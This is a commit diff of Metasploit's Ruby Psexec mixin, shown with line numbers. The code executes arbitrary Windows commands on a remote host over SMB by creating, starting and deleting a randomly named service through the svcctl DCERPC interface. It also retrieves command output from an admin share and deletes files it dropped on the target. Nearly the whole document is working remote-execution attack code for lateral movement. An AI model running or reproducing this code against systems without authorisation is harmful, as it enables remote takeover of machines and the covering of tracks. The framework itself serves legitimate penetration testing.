@@ -10,153 +10,147 @@ module Msf
10
10
11
11
module Exploit ::Remote ::Psexec
12
12
13
- include Msf ::Exploit ::Remote ::DCERPC
14
- include Msf ::Exploit ::Remote ::SMB
15
- include Msf ::Exploit ::FileDropper
16
-
17
- # Retrieves output from the executed command
18
- #
19
- # @example
20
- # get_output("C$", rhost, '\WINDOWS\Temp\outputfile.txt')
21
- #
22
- # @param smbshare [String] The SMBshare to connect to. Usually C$
23
- # @param ip [String] Remote host to connect to
24
- # @param file [String] Path to the output file relative to the +smbshare+
25
- # @return [String,nil] output or nil if retrieval fails
26
- def get_output ( smbshare , ip , file )
27
- begin
28
- print_status ( "Getting the command output..." )
29
- simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
30
- outfile = simple . open ( file , 'ro' )
31
- output = outfile . read
32
- outfile . close
33
- simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
34
- return output
35
- rescue StandardError => output_error
36
- print_error ( "Error getting command output. #{ output_error . class } . #{ output_error } ." )
37
- return nil
38
- end
39
- end
40
-
41
-
42
- # Executes a single windows command.
43
- #
44
- # If you want to retrieve the output of your command you'll have to
45
- # redirect its output to a file and then use {#get_output} to retrieve
46
- # it. Make sure to use the {#cleanup_after} method when you are done.
47
- #
48
- # @param command [String] Should be a valid windows command
49
- # @return [Boolean] true if everything wen't well
50
- def psexec ( command )
51
- print_status ( "#{ peer } - Executing: #{ command } " )
52
- simple . connect ( "IPC$" )
53
-
54
- handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
55
- vprint_status ( "#{ peer } - Binding to #{ handle } ..." )
56
- dcerpc_bind ( handle )
57
- vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
58
-
59
- vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
60
- scm_handle = nil
61
- stubdata =
62
- NDR . uwstring ( "\\ \\ #{ rhost } " ) + NDR . long ( 0 ) + NDR . long ( 0xF003F )
63
- begin
64
- response = dcerpc . call ( 0x0f , stubdata )
65
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
66
- scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
67
- end
68
- rescue ::Exception => e
69
- print_error ( "#{ peer } - Error: #{ e } " )
70
- return false
71
- end
72
-
73
- servicename = Rex ::Text . rand_text_alpha ( 11 )
74
- displayname = Rex ::Text . rand_text_alpha ( 16 )
75
- holdhandle = scm_handle
76
- svc_handle = nil
77
- svc_status = nil
78
-
79
- stubdata =
80
- scm_handle + NDR . wstring ( servicename ) + NDR . uwstring ( displayname ) +
81
-
82
- NDR . long ( 0x0F01FF ) + # Access: MAX
83
- NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
84
- NDR . long ( 0x00000003 ) + # Start: Demand
85
- NDR . long ( 0x00000000 ) + # Errors: Ignore
86
- NDR . wstring ( command ) +
87
- NDR . long ( 0 ) + # LoadOrderGroup
88
- NDR . long ( 0 ) + # Dependencies
89
- NDR . long ( 0 ) + # Service Start
90
- NDR . long ( 0 ) + # Password
91
- NDR . long ( 0 ) + # Password
92
- NDR . long ( 0 ) + # Password
93
- NDR . long ( 0 ) # Password
94
- begin
95
- vprint_status ( "#{ peer } - Creating the service..." )
96
- response = dcerpc . call ( 0x0c , stubdata )
97
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
98
- svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
99
- svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
100
- end
101
- rescue ::Exception => e
102
- print_error ( "#{ peer } - Error: #{ e } " )
103
- return false
104
- end
105
-
106
- vprint_status ( "#{ peer } - Closing service handle..." )
107
- begin
108
- response = dcerpc . call ( 0x0 , svc_handle )
109
- rescue ::Exception
110
- end
111
-
112
- vprint_status ( "#{ peer } - Opening service..." )
113
- begin
114
- stubdata =
115
- scm_handle + NDR . wstring ( servicename ) + NDR . long ( 0xF01FF )
116
-
117
- response = dcerpc . call ( 0x10 , stubdata )
118
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
119
- svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
120
- end
121
- rescue ::Exception => e
122
- print_error ( "#{ peer } - Error: #{ e } " )
123
- return false
124
- end
125
-
126
- vprint_status ( "#{ peer } - Starting the service..." )
127
- stubdata =
128
- svc_handle + NDR . long ( 0 ) + NDR . long ( 0 )
129
- begin
130
- response = dcerpc . call ( 0x13 , stubdata )
131
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
132
- end
133
- rescue ::Exception => e
134
- print_error ( "#{ peer } - Error: #{ e } " )
135
- return false
136
- end
137
-
138
- vprint_status ( "#{ peer } - Removing the service..." )
139
- stubdata =
140
- svc_handle
141
- begin
142
- response = dcerpc . call ( 0x02 , stubdata )
143
- if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
144
- end
145
- rescue ::Exception => e
146
- print_error ( "#{ peer } - Error: #{ e } " )
147
- end
148
-
149
- vprint_status ( "#{ peer } - Closing service handle..." )
150
- begin
151
- response = dcerpc . call ( 0x0 , svc_handle )
152
- rescue ::Exception => e
153
- print_error ( "#{ peer } - Error: #{ e } " )
154
- end
155
-
156
- select ( nil , nil , nil , 1.0 )
157
- simple . disconnect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
158
- return true
159
- end
13
+ include Msf ::Exploit ::Remote ::DCERPC
14
+ include Msf ::Exploit ::Remote ::SMB
15
+
16
+ # Retrives output from the executed command
17
+ # @param smbshare [String] The SMBshare to connect to. Usually C$
18
+ # @param ip [IP Address] Remote Host to Connect To
19
+ # @param file [File name] Path to the output file relative to the smbshare
20
+ # Example: '\WINDOWS\Temp\outputfile.txt'
21
+ # @return output or nil if fails
22
+ def get_output ( smbshare , ip , file )
23
+ begin
24
+ print_status ( "Getting the command output..." )
25
+ simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
26
+ outfile = simple . open ( file , 'ro' )
27
+ output = outfile . read
28
+ outfile . close
29
+ simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
30
+ return output
31
+ rescue StandardError => output_error
32
+ print_error ( "Error getting command output. #{ output_error . class } . #{ output_error } ." )
33
+ return nil
34
+ end
35
+ end
36
+
37
+
38
+ # This method executes a single windows command. If you want to
39
+ # retrieve the output of your command you'll have to echo it
40
+ # to a .txt file and then use the get_output method to retrieve it
41
+ # Make sure to use the cleanup_after method when you are done.
42
+ # @param command [String] Should be a valid windows command
43
+ # @return true if everything wen't well
44
+ def psexec ( command )
45
+
46
+ simple . connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
47
+
48
+ handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
49
+ vprint_status ( "#{ peer } - Binding to #{ handle } ..." )
50
+ dcerpc_bind ( handle )
51
+ vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
52
+
53
+ vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
54
+ scm_handle = nil
55
+ stubdata =
56
+ NDR . uwstring ( "\\ \\ #{ rhost } " ) + NDR . long ( 0 ) + NDR . long ( 0xF003F )
57
+ begin
58
+ response = dcerpc . call ( 0x0f , stubdata )
59
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
60
+ scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
61
+ end
62
+ rescue ::Exception => e
63
+ print_error ( "#{ peer } - Error: #{ e } " )
64
+ return false
65
+ end
66
+
67
+ servicename = Rex ::Text . rand_text_alpha ( 11 )
68
+ displayname = Rex ::Text . rand_text_alpha ( 16 )
69
+ holdhandle = scm_handle
70
+ svc_handle = nil
71
+ svc_status = nil
72
+
73
+ stubdata =
74
+ scm_handle + NDR . wstring ( servicename ) + NDR . uwstring ( displayname ) +
75
+
76
+ NDR . long ( 0x0F01FF ) + # Access: MAX
77
+ NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
78
+ NDR . long ( 0x00000003 ) + # Start: Demand
79
+ NDR . long ( 0x00000000 ) + # Errors: Ignore
80
+ NDR . wstring ( command ) +
81
+ NDR . long ( 0 ) + # LoadOrderGroup
82
+ NDR . long ( 0 ) + # Dependencies
83
+ NDR . long ( 0 ) + # Service Start
84
+ NDR . long ( 0 ) + # Password
85
+ NDR . long ( 0 ) + # Password
86
+ NDR . long ( 0 ) + # Password
87
+ NDR . long ( 0 ) # Password
88
+ begin
89
+ vprint_status ( "#{ peer } - Creating the service..." )
90
+ response = dcerpc . call ( 0x0c , stubdata )
91
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
92
+ svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
93
+ svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
94
+ end
95
+ rescue ::Exception => e
96
+ print_error ( "#{ peer } - Error: #{ e } " )
97
+ return false
98
+ end
99
+
100
+ vprint_status ( "#{ peer } - Closing service handle..." )
101
+ begin
102
+ response = dcerpc . call ( 0x0 , svc_handle )
103
+ rescue ::Exception
104
+ end
105
+
106
+ vprint_status ( "#{ peer } - Opening service..." )
107
+ begin
108
+ stubdata =
109
+ scm_handle + NDR . wstring ( servicename ) + NDR . long ( 0xF01FF )
110
+
111
+ response = dcerpc . call ( 0x10 , stubdata )
112
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
113
+ svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
114
+ end
115
+ rescue ::Exception => e
116
+ print_error ( "#{ peer } - Error: #{ e } " )
117
+ return false
118
+ end
119
+
120
+ vprint_status ( "#{ peer } - Starting the service..." )
121
+ stubdata =
122
+ svc_handle + NDR . long ( 0 ) + NDR . long ( 0 )
123
+ begin
124
+ response = dcerpc . call ( 0x13 , stubdata )
125
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
126
+ end
127
+ rescue ::Exception => e
128
+ print_error ( "#{ peer } - Error: #{ e } " )
129
+ return false
130
+ end
131
+
132
+ vprint_status ( "#{ peer } - Removing the service..." )
133
+ stubdata =
134
+ svc_handle
135
+ begin
136
+ response = dcerpc . call ( 0x02 , stubdata )
137
+ if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
138
+ end
139
+ rescue ::Exception => e
140
+ print_error ( "#{ peer } - Error: #{ e } " )
141
+ end
142
+
143
+ vprint_status ( "#{ peer } - Closing service handle..." )
144
+ begin
145
+ response = dcerpc . call ( 0x0 , svc_handle )
146
+ rescue ::Exception => e
147
+ print_error ( "#{ peer } - Error: #{ e } " )
148
+ end
149
+
150
+ select ( nil , nil , nil , 1.0 )
151
+ simple . disconnect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
152
+ return true
153
+ end
160
154
161
155
# This method is called by file_dropper to remove files droped
162
156
# By your module
@@ -168,28 +162,39 @@ def psexec(command)
168
162
# @return [StandardError] only in the event of an error
169
163
def file_rm ( file )
170
164
delete = "%COMSPEC% /C del #{ file } "
171
- print_status ( "#{ peer } - Deleting #{ file } " )
165
+ vprint_status ( "#{ peer } - Deleting #{ file } " )
172
166
psexec ( delete )
173
- print_status ( "#{ peer } - Command Ran" )
174
167
end
175
168
176
- # Make sure the cleanup command worked
177
- # This method should only be called from within cleanup_after
178
- def check_cleanup ( smbshare , ip , text )
179
- simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
180
- begin
181
- if simple . open ( text , 'ro' )
182
- check = false
183
- else
184
- check = true
185
- end
186
- simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
187
- return check
188
- rescue StandardError => check_error
189
- simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
190
- return true
191
- end
192
- end
169
+ # This method stores files in an Instance array
170
+ # The files are then deleted from the remote host once
171
+ # the cleanup_after method is called
172
+ #
173
+ # @example
174
+ # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt")
175
+ # @param file [String] Full path to the file on the remote host
176
+ def register_file_for_cleanup ( *file )
177
+ @dropped_files ||= [ ]
178
+ @dropped_files += file
179
+ end
180
+
181
+ # This method removes any files that were dropped on the remote system
182
+ # and marked with the register_file_for_cleanup method
183
+ def cleanup_after
184
+ print_status ( "#{ peer } - Removing files dropped by your module/exploit" )
185
+ if !@dropped_files
186
+ return
187
+ end
188
+ @dropped_files . delete_if do |file |
189
+ begin
190
+ file_rm ( file )
191
+ print_good ( "#{ peer } - Deleted #{ file } " )
192
+ rescue StandardError => file_rm_error
193
+ print_error ( "#{ peer } - Unable to delte #{ file } . #{ file_rm_error } " )
194
+ return
195
+ end
196
+ end
197
+ end
193
198
194
199
end
195
200
0 commit comments